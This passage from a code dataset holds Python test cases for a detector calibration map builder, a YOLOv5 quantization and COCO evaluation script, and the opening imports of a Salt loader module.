os.path.join(output_maps_tmdir, 'test_out_map_rate.h5'  )\n    histo_file_out = os.path.join(output_maps_tmdir, 'test_out_histo_rate.h5')\n    n_dev_rate = 0.5\n    run_number   = 7517\n    conf.update(dict(folder         = folder_test_dst,\n                     file_in        = test_dst_file  ,\n                     file_out_map   = map_file_out   ,\n                     file_out_hists = histo_file_out ,\n                     n_dev_rate     = n_dev_rate     ,\n                     run_number     = run_number     ))\n\n    assert_raises(AbortingMapCreation,\n                  map_builder        ,\n                  conf.as_namespace  )\n\ndef test_exception_Zdst(folder_test_dst, test_dst_file, output_maps_tmdir):\n    \"\"\"\n    This test checks if exception raises when Z distribution is not\n    similar enough to the reference one.\n    \"\"\"\n    conf = configure('maps $ICARO/krcal/map_builder/config_LBphys.conf'.split())\n    map_file_out   = os.path.join(output_maps_tmdir, 'test_out_map_Z.h5'  )\n    histo_file_out = os.path.join(output_maps_tmdir, 'test_out_histo_Z.h5')\n    nsigmas_Zdst = 0.5\n    run_number   = 7517\n    conf.update(dict(folder         = folder_test_dst,\n                     file_in        = test_dst_file  ,\n                     file_out_map   = map_file_out   ,\n                     file_out_hists = histo_file_out ,\n                     nsigmas_Zdst   = nsigmas_Zdst   ,\n                     run_number     = run_number     ))\n\n    assert_raises(AbortingMapCreation,\n                  map_builder        ,\n                  conf.as_namespace  )\n\ndef test_exception_bandsel(folder_test_dst, test_dst_file, output_maps_tmdir):\n    \"\"\"\n    This test checks if exception raises when band selection efficiency is\n    out of a given range.\n    \"\"\"\n    conf = configure('maps $ICARO/krcal/map_builder/config_LBphys.conf'.split())\n    map_file_out   = os.path.join(output_maps_tmdir, 'test_out_map_bandsel.h5'  )\n    histo_file_out = os.path.join(output_maps_tmdir, 'test_out_histo_bandsel.h5')\n    band_sel_params_new = copy.copy(conf.as_namespace.band_sel_params)\n    band_sel_params_new['eff_min'] = 0.\n    band_sel_params_new['eff_max'] = 0.89\n    run_number = 7517\n    conf.update(dict(folder         = folder_test_dst,\n                     file_in        = test_dst_file  ,\n                     file_out_map   = map_file_out   ,\n                     file_out_hists = histo_file_out ,\n                     band_sel_params = band_sel_params_new,\n                     run_number     = run_number     ))\n    assert_raises(AbortingMapCreation,\n                  map_builder        ,\n                  conf.as_namespace  )\n\ndef test_exception_drift_v(folder_test_dst, test_dst_file, output_maps_tmdir):\n    \"\"\"\n    This test checks that exception raises if drift_v fit\n    fails in too many temporal bins.\n    \"\"\"\n    conf = configure('maps $ICARO/krcal/map_builder/config_LBphys.conf'.split())\n    map_file_out   = os.path.join(output_maps_tmdir, 'test_out_map_driftv.h5'  )\n    histo_file_out = os.path.join(output_maps_tmdir, 'test_out_histo_driftv.h5')\n    map_params_new = copy.copy(conf.as_namespace.map_params)\n    map_params_new['dv_maxFailed'] = 0.01\n    map_params_new['nStimeprofile'] = 100\n    run_number = 7517\n    conf.update(dict(folder         = folder_test_dst,\n                     file_in        = test_dst_file  ,\n                     file_out_map   = map_file_out   ,\n                     file_out_hists = histo_file_out ,\n                     map_params     = map_params_new ,\n                     run_number     = run_number     ))\n    assert_raises(AbortingMapCreation,\n                  map_builder        ,\n                  conf.as_namespace  )\n", "repo_name": "next-exp/ICAROS", "sub_path": "krcal/map_builder/map_builder_functions_test.py", "file_name": "map_builder_functions_test.py", "file_ext": "py", "file_size_in_byte": 13990, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "warnings.filterwarnings", "line_number": 29, "usage_type": "call"}, {"api_name": "logging.disable", "line_number": 30, "usage_type": "call"}, {"api_name": "logging.DEBUG", "line_number": 30, "usage_type": "attribute"}, {"api_name": "logging.getLogger", "line_number": 31, "usage_type": "call"}, {"api_name": "logging.INFO", "line_number": 32, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 36, "usage_type": "call"}, {"api_name": "os.path", "line_number": 36, "usage_type": "attribute"}, {"api_name": "pytest.fixture", "line_number": 34, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 47, "usage_type": "call"}, {"api_name": "os.path", "line_number": 47, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 48, "usage_type": "call"}, {"api_name": "os.path", "line_number": 48, "usage_type": "attribute"}, {"api_name": "invisible_cities.core.configure.configure", "line_number": 51, "usage_type": "call"}, {"api_name": "copy.copy", "line_number": 52, "usage_type": "call"}, {"api_name": "map_builder_functions.map_builder", "line_number": 63, "usage_type": "call"}, {"api_name": "invisible_cities.reco.corrections.read_maps", "line_number": 64, "usage_type": "call"}, {"api_name": "invisible_cities.reco.corrections.ASectorMap", "line_number": 65, "usage_type": "name"}, {"api_name": "invisible_cities.reco.corrections.read_maps", "line_number": 67, "usage_type": "call"}, {"api_name": "invisible_cities.core.testing_utils.assert_dataframes_close", "line_number": 68, "usage_type": "call"}, {"api_name": "invisible_cities.core.testing_utils.assert_dataframes_close", "line_number": 69, "usage_type": "call"}, {"api_name": "invisible_cities.core.testing_utils.assert_dataframes_close", "line_number": 70, "usage_type": "call"}, {"api_name": "invisible_cities.core.testing_utils.assert_dataframes_close", "line_number": 71, "usage_type": "call"}, {"api_name": "pytest.mark.timeout", "line_number": 38, "usage_type": "call"}, {"api_name": "pytest.mark", "line_number": 38, "usage_type": "name"}, {"api_name": "pytest.mark.dependency", "line_number": 39, "usage_type": "call"}, {"api_name": "pytest.mark", "line_number": 39, "usage_type": "name"}, {"api_name": "os.path.join", "line_number": 75, "usage_type": "call"}, {"api_name": "os.path", "line_number": 75, "usage_type": "attribute"}, {"api_name": "invisible_cities.reco.corrections.read_maps", "line_number": 76, "usage_type": "call"}, {"api_name": "pytest.mark.dependency", "line_number": 73, "usage_type": "call"}, {"api_name": "pytest.mark", "line_number": 73, "usage_type": "name"}, {"api_name": "os.path.join", "line_number": 100, "usage_type": "call"}, {"api_name": "os.path", "line_number": 100, "usage_type": "attribute"}, {"api_name": "invisible_cities.reco.corrections.read_maps", "line_number": 101, "usage_type": "call"}, {"api_name": "numpy.all", "line_number": 102, "usage_type": "call"}, {"api_name": "numpy.all", "line_number": 103, "usage_type": "call"}, {"api_name": "numpy.all", "line_number": 104, "usage_type": "call"}, {"api_name": "pytest.mark.dependency", "line_number": 98, "usage_type": "call"}, {"api_name": "pytest.mark", "line_number": 98, "usage_type": "name"}, {"api_name": "os.path.join", "line_number": 108, "usage_type": "call"}, {"api_name": "os.path", "line_number": 108, "usage_type": "attribute"}, {"api_name": "invisible_cities.reco.corrections.read_maps", "line_number": 109, "usage_type": "call"}, {"api_name": "pandas.pandas.read_hdf", "line_number": 110, "usage_type": "call"}, {"api_name": "pandas.pandas", "line_number": 110, "usage_type": "attribute"}, {"api_name": "invisible_cities.core.testing_utils.assert_dataframes_close", "line_number": 111, "usage_type": "call"}, {"api_name": "pytest.mark.dependency", "line_number": 106, "usage_type": "call"}, {"api_name": "pytest.mark", "line_number": 106, "usage_type": "name"}, {"api_name": "hypothesis.strategies.floats", "line_number": 114, "usage_type": "call"}, {"api_name": "hypothesis.strategies.integers", "line_number": 115, "usage_type": "call"}, {"api_name": "hypothesis.strategies.lists", "line_number": 116, "usage_type": "call"}, {"api_name": "hypothesis.strategies.lists", "line_number": 117, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 118, "usage_type": "call"}, {"api_name": "hypothesis.strategies.composite", "line_number": 113, "usage_type": "name"}, {"api_name": "os.path.join", "line_number": 125, "usage_type": "call"}, {"api_name": "os.path", "line_number": 125, "usage_type": "attribute"}, {"api_name": "invisible_cities.reco.corrections.read_maps", "line_number": 128, "usage_type": "call"}, {"api_name": "invisible_cities.reco.corrections.maps_coefficient_getter", "line_number": 129, "usage_type": "call"}, {"api_name": "numpy.linspace", "line_number": 132, "usage_type": "call"}, {"api_name": "numpy.digitize", "line_number": 133, "usage_type": "call"}, {"api_name": "numpy.digitize", "line_number": 134, "usage_type": "call"}, {"api_name": "numpy.sqrt", "line_number": 136, "usage_type": "call"}, {"api_name": "numpy.sqrt", "line_number": 137, "usage_type": "call"}, {"api_name": "numpy.isnan", "line_number": 139, "usage_type": "call"}, {"api_name": "numpy.isfinite", "line_number": 140, "usage_type": "call"}, {"api_name": "pytest.mark.dependency", "line_number": 121, "usage_type": "call"}, {"api_name": "pytest.mark", "line_number": 121, "usage_type": "name"}, {"api_name": "hypothesis.given", "line_number": 122, "usage_type": "call"}, {"api_name": "hypothesis.settings", "line_number": 123, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 150, "usage_type": "call"}, {"api_name": "os.path", "line_number": 150, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 151, "usage_type": "call"}, {"api_name": "os.path", "line_number": 151, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 152, "usage_type": "call"}, {"api_name": "os.path", "line_number": 152, "usage_type": "attribute"}, {"api_name": "invisible_cities.io.dst_io.load_dst", "line_number": 154, "usage_type": "call"}, {"api_name": "tables.open_file", "line_number": 162, "usage_type": "call"}, {"api_name": "invisible_cities.core.configure.configure", "line_number": 168, "usage_type": "call"}, {"api_name": "map_builder_functions.map_builder", "line_number": 179, "usage_type": "call"}, {"api_name": "invisible_cities.reco.corrections.read_maps", "line_number": 180, "usage_type": "call"}, {"api_name": "invisible_cities.reco.corrections.read_maps", "line_number": 181, "usage_type": "call"}, {"api_name": "invisible_cities.core.testing_utils.assert_dataframes_close", "line_number": 183, "usage_type": "call"}, {"api_name": "invisible_cities.core.testing_utils.assert_dataframes_close", "line_number": 184, "usage_type": "call"}, {"api_name": "invisible_cities.core.testing_utils.assert_dataframes_close", "line_number": 185, "usage_type": "call"}, {"api_name": "invisible_cities.core.testing_utils.assert_dataframes_close", "line_number": 186, "usage_type": "call"}, {"api_name": "pytest.mark.dependency", "line_number": 142, "usage_type": "call"}, {"api_name": "pytest.mark", "line_number": 142, "usage_type": "name"}, {"api_name": "invisible_cities.core.configure.configure", "line_number": 192, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 193, "usage_type": "call"}, {"api_name": "os.path", "line_number": 193, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 194, "usage_type": "call"}, {"api_name": "os.path", "line_number": 194, "usage_type": "attribute"}, {"api_name": "numpy.testing.assert_raises", "line_number": 206, "usage_type": "call"}, {"api_name": "checking_functions.AbortingMapCreation", "line_number": 206, "usage_type": "argument"}, {"api_name": "map_builder_functions.map_builder", "line_number": 207, "usage_type": "argument"}, {"api_name": "invisible_cities.core.configure.configure", "line_number": 214, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 215, "usage_type": "call"}, {"api_name": "os.path", "line_number": 215, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 216, "usage_type": "call"}, {"api_name": "os.path", "line_number": 216, "usage_type": "attribute"}, {"api_name": "numpy.testing.assert_raises", "line_number": 228, "usage_type": "call"}, {"api_name": "checking_functions.AbortingMapCreation", "line_number": 228, "usage_type": "argument"}, {"api_name": "map_builder_functions.map_builder", "line_number": 229, "usage_type": "argument"}, {"api_name": "invisible_cities.core.configure.configure", "line_number": 236, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 237, "usage_type": "call"}, {"api_name": "os.path", "line_number": 237, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 238, "usage_type": "call"}, {"api_name": "os.path", "line_number": 238, "usage_type": "attribute"}, {"api_name": "numpy.testing.assert_raises", "line_number": 248, "usage_type": "call"}, {"api_name": "checking_functions.AbortingMapCreation", "line_number": 248, "usage_type": "argument"}, {"api_name": "map_builder_functions.map_builder", "line_number": 249, "usage_type": "argument"}, {"api_name": "invisible_cities.core.configure.configure", "line_number": 257, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 258, "usage_type": "call"}, {"api_name": "os.path", "line_number": 258, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 259, "usage_type": "call"}, {"api_name": "os.path", "line_number": 259, "usage_type": "attribute"}, {"api_name": "numpy.testing.assert_raises", "line_number": 269, "usage_type": "call"}, {"api_name": "checking_functions.AbortingMapCreation", "line_number": 269, "usage_type": "argument"}, {"api_name": "map_builder_functions.map_builder", "line_number": 270, "usage_type": "argument"}, {"api_name": "invisible_cities.core.configure.configure", "line_number": 278, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 279, "usage_type": "call"}, {"api_name": "os.path", "line_number": 279, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 280, "usage_type": "call"}, {"api_name": "os.path", "line_number": 280, "usage_type": "attribute"}, {"api_name": "copy.copy", "line_number": 281, "usage_type": "call"}, {"api_name": "numpy.testing.assert_raises", "line_number": 291, "usage_type": "call"}, {"api_name": "checking_functions.AbortingMapCreation", "line_number": 291, "usage_type": "argument"}, {"api_name": "map_builder_functions.map_builder", "line_number": 292, "usage_type": "argument"}, {"api_name": "invisible_cities.core.configure.configure", "line_number": 300, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 301, "usage_type": "call"}, {"api_name": "os.path", "line_number": 301, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 302, "usage_type": "call"}, {"api_name": "os.path", "line_number": 302, "usage_type": "attribute"}, {"api_name": "copy.copy", "line_number": 303, "usage_type": "call"}, {"api_name": "numpy.testing.assert_raises", "line_number": 313, "usage_type": "call"}, {"api_name": "checking_functions.AbortingMapCreation", "line_number": 313, "usage_type": "argument"}, {"api_name": "map_builder_functions.map_builder", "line_number": 314, "usage_type": "argument"}]}
{"seq_id": "10051499222", "text": "# YOLOv5 ЁЯЪА by Ultralytics, AGPL-3.0 license\n\"\"\"\nValidate a trained YOLOv5 detection model on a detection dataset\n\nUsage:\n    $ python val.py --weights yolov5s.pt --data coco128.yaml --img 640\n\nUsage - formats:\n    $ python val.py --weights yolov5s.pt                 # PyTorch\n                              yolov5s.torchscript        # TorchScript\n                              yolov5s.onnx               # ONNX Runtime or OpenCV DNN with --dnn\n                              yolov5s_openvino_model     # OpenVINO\n                              yolov5s.engine             # TensorRT\n                              yolov5s.mlmodel            # CoreML (macOS-only)\n                              yolov5s_saved_model        # TensorFlow SavedModel\n                              yolov5s.pb                 # TensorFlow GraphDef\n                              yolov5s.tflite             # TensorFlow Lite\n                              yolov5s_edgetpu.tflite     # TensorFlow Edge TPU\n                              yolov5s_paddle_model       # PaddlePaddle\n\"\"\"\n\nimport argparse\nimport os\nimport sys\nfrom pathlib import Path\n\nimport numpy as np\nimport torch\nfrom tqdm import tqdm\n\nFILE = Path(__file__).resolve()\nROOT = str(FILE.parents[0]) + \"/yolov5\"  # YOLOv5 root directory\nif ROOT not in sys.path:\n    sys.path.append(ROOT)  # add ROOT to PATH\n\nfrom models import yolov5n, yolov5s\nfrom yolov5.utils.dataloaders import create_dataloader\nfrom yolov5.utils.general import (\n    LOGGER,\n    TQDM_BAR_FORMAT,\n    Profile,\n    colorstr,\n    non_max_suppression,\n    scale_boxes,\n    xywh2xyxy,\n    xyxy2xywh,\n)\nfrom yolov5.utils.metrics import ap_per_class, box_iou\n\nfrom sparsebit.quantization import QuantModel, parse_qconfig\n\n\ndef set_seed(seed):\n    os.environ[\"PYTHONHASHSEED\"] = str(seed)\n    np.random.seed(seed)\n    torch.manual_seed(seed)\n    torch.cuda.manual_seed(seed)\n    torch.cuda.manual_seed_all(seed)\n    torch.backends.cudnn.deterministic = True\n    torch.backends.cudnn.benchmark = False\n    torch.backends.cudnn.enabled = False\n\n\ndef save_one_txt(predn, save_conf, shape, file):\n    # Save one txt result\n    gn = torch.tensor(shape)[[1, 0, 1, 0]]  # normalization gain whwh\n    for *xyxy, conf, cls in predn.tolist():\n        xywh = (\n            (xyxy2xywh(torch.tensor(xyxy).view(1, 4)) / gn).view(-1).tolist()\n        )  # normalized xywh\n        line = (cls, *xywh, conf) if save_conf else (cls, *xywh)  # label format\n        with open(file, \"a\") as f:\n            f.write((\"%g \" * len(line)).rstrip() % line + \"\\n\")\n\n\ndef save_one_json(predn, jdict, path, class_map):\n    # Save one JSON result {\"image_id\": 42, \"category_id\": 18, \"bbox\": [258.15, 41.29, 348.26, 243.78], \"score\": 0.236}\n    image_id = int(path.stem) if path.stem.isnumeric() else path.stem\n    box = xyxy2xywh(predn[:, :4])  # xywh\n    box[:, :2] -= box[:, 2:] / 2  # xy center to top-left corner\n    for p, b in zip(predn.tolist(), box.tolist()):\n        jdict.append(\n            {\n                \"image_id\": image_id,\n                \"category_id\": class_map[int(p[5])],\n                \"bbox\": [round(x, 3) for x in b],\n                \"score\": round(p[4], 5),\n            }\n        )\n\n\ndef process_batch(detections, labels, iouv):\n    \"\"\"\n    Return correct prediction matrix\n    Arguments:\n        detections (array[N, 6]), x1, y1, x2, y2, conf, class\n        labels (array[M, 5]), class, x1, y1, x2, y2\n    Returns:\n        correct (array[N, 10]), for 10 IoU levels\n    \"\"\"\n    correct = np.zeros((detections.shape[0], iouv.shape[0])).astype(bool)\n    iou = box_iou(labels[:, 1:], detections[:, :4])\n    correct_class = labels[:, 0:1] == detections[:, 5]\n    for i in range(len(iouv)):\n        x = torch.where(\n            (iou >= iouv[i]) & correct_class\n        )  # IoU > threshold and classes match\n        if x[0].shape[0]:\n            matches = (\n                torch.cat((torch.stack(x, 1), iou[x[0], x[1]][:, None]), 1)\n                .cpu()\n                .numpy()\n            )  # [label, detect, iou]\n            if x[0].shape[0] > 1:\n                matches = matches[matches[:, 2].argsort()[::-1]]\n                matches = matches[np.unique(matches[:, 1], return_index=True)[1]]\n                # matches = matches[matches[:, 2].argsort()[::-1]]\n                matches = matches[np.unique(matches[:, 0], return_index=True)[1]]\n            correct[matches[:, 1].astype(int), i] = True\n    return torch.tensor(correct, dtype=torch.bool, device=iouv.device)\n\n\n@torch.no_grad()\ndef main(args):\n    set_seed(args.seed)\n    if args.model_name == \"yolov5n\":\n        model = yolov5n(checkpoint_path=args.checkpoint_path)\n    elif args.model_name == \"yolov5s\":\n        model = yolov5s(checkpoint_path=args.checkpoint_path)\n    else:\n        raise NotImplementedError\n\n    qconfig = parse_qconfig(args.qconfig_path)\n    qmodel = QuantModel(model.model, config=qconfig)\n\n    setattr(model, \"model\", qmodel)\n    imgsz = 640\n    device = torch.device(\"cuda\" if torch.cuda.is_available() else \"cpu\")\n\n    # Configure\n    model.eval()\n    model.cuda()\n\n    cuda = device.type != \"cpu\"\n    nc = 80  # number of classes\n    iouv = torch.linspace(0.5, 0.95, 10, device=device)  # iou vector for mAP@0.5:0.95\n    niou = iouv.numel()\n    task = \"val\"  # path to val images\n    dataloader = create_dataloader(\n        os.path.join(args.data_path, \"val2017.txt\"),\n        imgsz,\n        1,\n        32,\n        False,\n        pad=0.5,\n        rect=True,\n        workers=args.workers,\n        prefix=colorstr(f\"{task}: \"),\n    )[0]\n\n    # Calibration\n    calib_loader = create_dataloader(\n        os.path.join(args.data_path, \"calib2017.txt\"),\n        imgsz,\n        1,\n        32,\n        False,\n        pad=0.5,\n        rect=True,\n        workers=args.workers,\n        prefix=colorstr(f\"{task}: \"),\n    )[0]\n\n    qmodel.prepare_calibration()\n    for batch_meta in calib_loader:\n        data = batch_meta[0] / 255\n        with torch.no_grad():\n            _ = qmodel(data.to(device, non_blocking=True))\n    qmodel.calc_qparams()\n    qmodel.set_quant(w_quant=True, a_quant=True)\n\n    seen = 0\n    names = (\n        model.names if hasattr(model, \"names\") else model.module.names\n    )  # get class names\n    if isinstance(names, (list, tuple)):  # old format\n        names = dict(enumerate(names))\n    s = (\"%22s\" + \"%11s\" * 6) % (\n        \"Class\",\n        \"Images\",\n        \"Instances\",\n        \"P\",\n        \"R\",\n        \"mAP50\",\n        \"mAP50-95\",\n    )\n    p, r, mp, mr, map50, ap50, map = 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0\n    dt = Profile(), Profile(), Profile()  # profiling times\n    stats, ap = [], []\n    pbar = tqdm(dataloader, desc=s, bar_format=TQDM_BAR_FORMAT)  # progress bar\n    for im, targets, paths, shapes in pbar:\n        with dt[0]:\n            if cuda:\n                im = im.to(device, non_blocking=True)\n                targets = targets.to(device)\n            im = im.float()  # uint8 to fp16/32\n            im /= 255  # 0 - 255 to 0.0 - 1.0\n            _, _, height, width = im.shape  # batch size, channels, height, width\n\n        # Inference\n        with dt[1]:\n            preds = model(im)\n\n        # NMS\n        targets[:, 2:] *= torch.tensor(\n            (width, height, width, height), device=device\n        )  # to pixels\n        with dt[2]:\n            preds = non_max_suppression(\n                preds,\n                args.conf_thres,\n                args.iou_thres,\n                labels=[],\n                multi_label=True,\n                agnostic=False,\n                max_det=300,\n            )\n\n        # Metrics\n        for si, pred in enumerate(preds):\n            labels = targets[targets[:, 0] == si, 1:]\n            npr = pred.shape[0]  # number of labels, predictions\n            shape = shapes[si][0]\n            correct = torch.zeros(npr, niou, dtype=torch.bool, device=device)  # init\n            seen += 1\n\n            if npr == 0:\n                stats.append(\n                    (correct, *torch.zeros((2, 0), device=device), labels[:, 0])\n                )\n                continue\n\n            # Predictions\n            predn = pred.clone()\n            scale_boxes(\n                im[si].shape[1:], predn[:, :4], shape, shapes[si][1]\n            )  # native-space pred\n\n            # Evaluate\n            tbox = xywh2xyxy(labels[:, 1:5])  # target boxes\n            scale_boxes(\n                im[si].shape[1:], tbox, shape, shapes[si][1]\n            )  # native-space labels\n            labelsn = torch.cat((labels[:, 0:1], tbox), 1)  # native-space labels\n            correct = process_batch(predn, labelsn, iouv)\n\n            stats.append(\n                (correct, pred[:, 4], pred[:, 5], labels[:, 0])\n            )  # (correct, conf, pcls, tcls)\n\n    # Compute metrics\n    stats = [torch.cat(x, 0).cpu().numpy() for x in zip(*stats)]  # to numpy\n    if len(stats) and stats[0].any():\n        tp, fp, p, r, f1, ap, ap_class = ap_per_class(\n            *stats, plot=False, save_dir=\"\", names=names\n        )\n        ap50, ap = ap[:, 0], ap.mean(1)  # AP@0.5, AP@0.5:0.95\n        mp, mr, map50, map = p.mean(), r.mean(), ap50.mean(), ap.mean()\n    nt = np.bincount(stats[3].astype(int), minlength=nc)  # number of targets per class\n\n    # Print results\n    pf = \"%22s\" + \"%11i\" * 2 + \"%11.3g\" * 4  # print format\n    LOGGER.info(pf % (\"all\", seen, nt.sum(), mp, mr, map50, map))\n    if nt.sum() == 0:\n        LOGGER.warning(\n            f\"WARNING тЪая╕П no labels found in {task} set, can not compute metrics without labels\"\n        )\n\n\ndef parse_args():\n    parser = argparse.ArgumentParser()\n    parser.add_argument(\n        \"--model_name\", type=str, default=\"yolov5n\", choices=[\"yolov5n\", \"yolov5s\"]\n    )\n    parser.add_argument(\"--qconfig_path\", type=str, default=\"./qconfig.yaml\")\n    parser.add_argument(\"--data_path\", type=str, required=True)\n    parser.add_argument(\"--checkpoint_path\", type=str, required=True)\n    parser.add_argument(\"--seed\", type=int, default=42)\n    parser.add_argument(\"--workers\", type=int, default=8, help=\"dataloader workers\")\n    parser.add_argument(\n        \"--conf_thres\", type=float, default=0.001, help=\"confidence threshold\"\n    )\n    parser.add_argument(\n        \"--iou_thres\", type=float, default=0.6, help=\"NMS IoU threshold\"\n    )\n\n    args = parser.parse_args()\n    return args\n\n\nif __name__ == \"__main__\":\n    args = parse_args()\n    main(args)\n", "repo_name": "megvii-research/Sparsebit", "sub_path": "examples/post_training_quantization/coco2017/yolov5/main.py", "file_name": "main.py", "file_ext": "py", "file_size_in_byte": 10347, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 308, "dataset": "github-code", "pt": "81", "api": [{"api_name": "pathlib.Path", "line_number": 31, "usage_type": "call"}, {"api_name": "sys.path", "line_number": 33, "usage_type": "attribute"}, {"api_name": "sys.path.append", "line_number": 34, "usage_type": "call"}, {"api_name": "sys.path", "line_number": 34, "usage_type": "attribute"}, {"api_name": "os.environ", "line_number": 54, "usage_type": "attribute"}, {"api_name": "numpy.random.seed", "line_number": 55, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 55, "usage_type": "attribute"}, {"api_name": "torch.manual_seed", "line_number": 56, "usage_type": "call"}, {"api_name": "torch.cuda.manual_seed", "line_number": 57, "usage_type": "call"}, {"api_name": "torch.cuda", "line_number": 57, "usage_type": "attribute"}, {"api_name": "torch.cuda.manual_seed_all", "line_number": 58, "usage_type": "call"}, {"api_name": "torch.cuda", "line_number": 58, "usage_type": "attribute"}, {"api_name": "torch.backends", "line_number": 59, "usage_type": "attribute"}, {"api_name": "torch.backends", "line_number": 60, "usage_type": "attribute"}, {"api_name": "torch.backends", "line_number": 61, "usage_type": "attribute"}, {"api_name": "torch.tensor", "line_number": 66, "usage_type": "call"}, {"api_name": "yolov5.utils.general.xyxy2xywh", "line_number": 69, "usage_type": "call"}, {"api_name": "torch.tensor", "line_number": 69, "usage_type": "call"}, {"api_name": "yolov5.utils.general.xyxy2xywh", "line_number": 79, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 101, "usage_type": "call"}, {"api_name": "yolov5.utils.metrics.box_iou", "line_number": 102, "usage_type": "call"}, {"api_name": "torch.where", "line_number": 105, "usage_type": "call"}, {"api_name": "torch.cat", "line_number": 110, "usage_type": "call"}, {"api_name": "torch.stack", "line_number": 110, "usage_type": "call"}, {"api_name": "numpy.unique", "line_number": 116, "usage_type": "call"}, {"api_name": "numpy.unique", "line_number": 118, "usage_type": "call"}, {"api_name": "torch.tensor", "line_number": 120, "usage_type": "call"}, {"api_name": "torch.bool", "line_number": 120, "usage_type": "attribute"}, {"api_name": "models.yolov5n", "line_number": 127, "usage_type": "call"}, {"api_name": "models.yolov5s", "line_number": 129, "usage_type": "call"}, {"api_name": "sparsebit.quantization.parse_qconfig", "line_number": 133, "usage_type": "call"}, {"api_name": "sparsebit.quantization.QuantModel", "line_number": 134, "usage_type": "call"}, {"api_name": "torch.device", "line_number": 138, "usage_type": "call"}, {"api_name": "torch.cuda.is_available", "line_number": 138, "usage_type": "call"}, {"api_name": "torch.cuda", "line_number": 138, "usage_type": "attribute"}, {"api_name": "torch.linspace", "line_number": 146, "usage_type": "call"}, {"api_name": "yolov5.utils.dataloaders.create_dataloader", "line_number": 149, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 150, "usage_type": "call"}, {"api_name": "os.path", "line_number": 150, "usage_type": "attribute"}, {"api_name": "yolov5.utils.general.colorstr", "line_number": 158, "usage_type": "call"}, {"api_name": "yolov5.utils.dataloaders.create_dataloader", "line_number": 162, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 163, "usage_type": "call"}, {"api_name": "os.path", "line_number": 163, "usage_type": "attribute"}, {"api_name": "yolov5.utils.general.colorstr", "line_number": 171, "usage_type": "call"}, {"api_name": "torch.no_grad", "line_number": 177, "usage_type": "call"}, {"api_name": "yolov5.utils.general.Profile", "line_number": 198, "usage_type": "call"}, {"api_name": "tqdm.tqdm", "line_number": 200, "usage_type": "call"}, {"api_name": "yolov5.utils.general.TQDM_BAR_FORMAT", "line_number": 200, "usage_type": "name"}, {"api_name": "torch.tensor", "line_number": 215, "usage_type": "call"}, {"api_name": "yolov5.utils.general.non_max_suppression", "line_number": 219, "usage_type": "call"}, {"api_name": "torch.zeros", "line_number": 234, "usage_type": "call"}, {"api_name": "torch.bool", "line_number": 234, "usage_type": "attribute"}, {"api_name": "torch.zeros", "line_number": 239, "usage_type": "call"}, {"api_name": "yolov5.utils.general.scale_boxes", "line_number": 245, "usage_type": "call"}, {"api_name": "yolov5.utils.general.xywh2xyxy", "line_number": 250, "usage_type": "call"}, {"api_name": "yolov5.utils.general.scale_boxes", "line_number": 251, "usage_type": "call"}, {"api_name": "torch.cat", "line_number": 254, "usage_type": "call"}, {"api_name": "torch.cat", "line_number": 262, "usage_type": "call"}, {"api_name": "yolov5.utils.metrics.ap_per_class", "line_number": 264, "usage_type": "call"}, {"api_name": "numpy.bincount", "line_number": 269, "usage_type": "call"}, {"api_name": "yolov5.utils.general.LOGGER.info", "line_number": 273, "usage_type": "call"}, {"api_name": "yolov5.utils.general.LOGGER", "line_number": 273, "usage_type": "name"}, {"api_name": "yolov5.utils.general.LOGGER.warning", "line_number": 275, "usage_type": "call"}, {"api_name": "yolov5.utils.general.LOGGER", "line_number": 275, "usage_type": "name"}, {"api_name": "torch.no_grad", "line_number": 123, "usage_type": "call"}, {"api_name": "argparse.ArgumentParser", "line_number": 281, "usage_type": "call"}]}
{"seq_id": "12846395634", "text": "import copy\nimport functools\nimport importlib\nimport importlib.machinery\nimport importlib.util\nimport inspect\nimport logging\nimport os\nimport pathlib\nimport re\nimport sys\nimport tempfile\nimport threading\nimport time\nimport traceback\nimport types\nfrom collections.abc import MutableMapping\nfrom zipimport import zipimporter\n\nimport salt.config\nimport salt.defaults.events\nimport salt.defaults.exitcodes\nimport salt.loader.context\nimport salt.syspaths\nimport salt.utils.args\nimport salt.utils.context\nimport salt.utils.data\nimport salt.utils.dictupdate\nimport salt.utils.event\nimport salt.utils.files\nimport salt.utils.lazy\nimport salt.utils.odict\nimport salt.utils.platform\nimport salt.utils.stringutils\nimport salt.utils.versions\nfrom salt.utils.decorators import Depends\nfrom salt.utils.decorators.extension_deprecation import extension_deprecation_message\n\ntry:\n    # Try the stdlib C extension first\n    import _contextvars as contextvars\nexcept ImportError:\n    # Py<3.7\n    import contextvars\n\nlog = logging.getLogger(__name__)\n\n# pylint: disable=no-member\nMODULE_KIND_SOURCE = 1\nMODULE_KIND_COMPILED = 2\nMODULE_KIND_EXTENSION = 3\nMODULE_KIND_PKG_DIRECTORY = 5\nSUFFIXES = []\nfor suffix in importlib.machinery.EXTENSION_SUFFIXES:\n    SUFFIXES.append((suffix, \"rb\", MODULE_KIND_EXTENSION))\nfor suffix in importlib.machinery.SOURCE_SUFFIXES:\n    SUFFIXES.append((suffix, \"rb\", MODULE_KIND_SOURCE))\nfor suffix in 